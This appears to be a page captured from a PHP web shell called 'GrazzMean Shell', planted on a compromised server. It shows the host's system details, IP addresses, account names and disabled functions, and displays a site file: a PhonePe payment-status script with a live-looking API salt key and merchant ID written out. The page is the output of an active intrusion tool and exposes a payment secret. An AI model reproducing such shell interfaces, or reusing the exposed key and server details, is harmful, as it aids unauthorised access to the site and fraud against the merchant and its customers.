shell bypass 403

GrazzMean Shell

Uname: Linux server.thebazaar99.com 5.14.0-687.17.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jun 22 07:21:26 EDT 2026 x86_64
Software: Apache
PHP version: 8.3.32 [ PHP INFO ] PHP os: Linux
Server Ip: 163.227.92.254
Your Ip: 216.73.217.24
User: gutlooks (1003) | Group: gutlooks (1005)
Safe Mode: OFF
Disable Function:
exec,passthru,shell_exec,system

name : phonpestatuscheck.php
<?php
if(isset($_GET['t_id'])){
    
$t_id = $_GET['t_id'];
$apikey= "bdbb12c6-d388-45d2-a503-15f257e03656";
$salt_index = 1; //key index 1
$payload1 = "/pg/v1/status/GUTLONLINE/".$t_id. $apikey;
$sha256 = hash("sha256", $payload1);
$final_x_header = $sha256 . '###' . $salt_index;


$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://api.phonepe.com/apis/hermes/pg/v1/status/GUTLONLINE/'.$t_id);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
$headers = array();
$headers[] = 'Content-Type: application/json';
$headers[] = 'X-VERIFY:'. $final_x_header;
$headers[] = 'X-MERCHANT-ID: GUTLONLINE';
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

echo $result = curl_exec($ch);
if (curl_errno($ch)) {
    echo 'Error:' . curl_error($ch);
}
curl_close($ch);
}
?>
© 2026 GrazzMean